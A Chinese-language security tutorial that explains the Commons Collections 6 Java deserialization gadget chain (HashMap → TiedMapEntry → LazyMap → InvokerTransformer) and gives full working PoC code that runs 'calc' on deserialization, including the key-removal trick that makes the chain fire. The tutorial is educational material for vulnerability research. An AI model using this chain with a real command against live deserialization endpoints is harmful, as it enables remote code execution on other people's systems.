- 前言
上回说到,JDK 8u71后官方修改了AnnotationInvocationHandler
类中的readObject()
函数导致了在高版本下 cc1 链不可利用的问题,所以这篇文章就来介绍新的链子弥补这个缺陷,cc6链比较通用。
在8u71后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap
对象,而原来我们精心构造的 Map 不再执行 set 或 put 操作,也就不会触发RCE了
触发利用链的关键在于找到触发transform
方法的地方,cc1链中说过LazyMap
中 get 方法在 get 不到值时就会调用transform
方法去获取一个值。而LazyMap
是通过invoke
方法触发 get
方法的,所以解决高版本利用链问题核心就是寻找其他调用LazyMap类get方法的点
TiedMapEntry类
这时候我们找到的类就是org.apache.commons.collections.keyvalue.TiedMapEntry
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
// ...
}
查看TiedMapEntry
类源码即可发现,在getvalue()
方法调用了Map的get()
方法,而在hashCode()
方法中又调用了getValue()
方法,所以现在需要思考怎么调用TiedMapEntry
类中的hashCode()
方法
根据URLDNS链,HashMap
的readObject()
方法中调用了hash(key)
,而hash方法又调用了key.hashCode()
。所以只需要让这个key等于TiedMapEntry
对象即可调用其hashCode()方法从而触发漏洞
完整POC
代码语言:javascript复制import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc" }),};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 将LazyMap作为TiedMapEntry的map属性传入触发LazyMap.get()
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
// 将TiedMapEntry作为HashMap的key属性传入触发TiedMapEntry.hashCode()
expMap.put(tme, "valuevalue");
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
在cc6中,我们同样可以像cc1一样,首先添加一个假的Transformer
数组,然后最后再将真正有危害的添加进去,这样可以避免许多问题。但当我们加上假的Transformer
数组,后面再变成真的之后,会发现一个问题,那就是命令并没有执行。
对这条链子进行调试可以发现问题出现在expMap.put(tme, "valuevalue");
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
HashMap.put()
方法里也调用了hash()
方法,相当于把整个漏洞触发的过程提前触发了。而第一次传入的是假的Transformer数组,这时候super.map.containsKey(key)
返回false
进入 if 语句执行super.map.put()
操作,把”keykey”放进去了就出问题了。第二次真正的Transformer数组传进来时map.containsKey(key)
为true
,就进不了 if 而无法触发漏洞
这里的解决方法也就很简单,只需要将这个Key
,再从outerMap
中移除即可: outerMap.remove("keykey");
最终POC链
代码语言:javascript复制import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections_6 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
setFieldValue(transformerChain, "iTransformers", transformers);
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field1 = obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}
}
参考链接: https://juejin.cn/post/7130505267074203656 Java篇之ysoserial中的一些操作 Java篇Commons Collections 6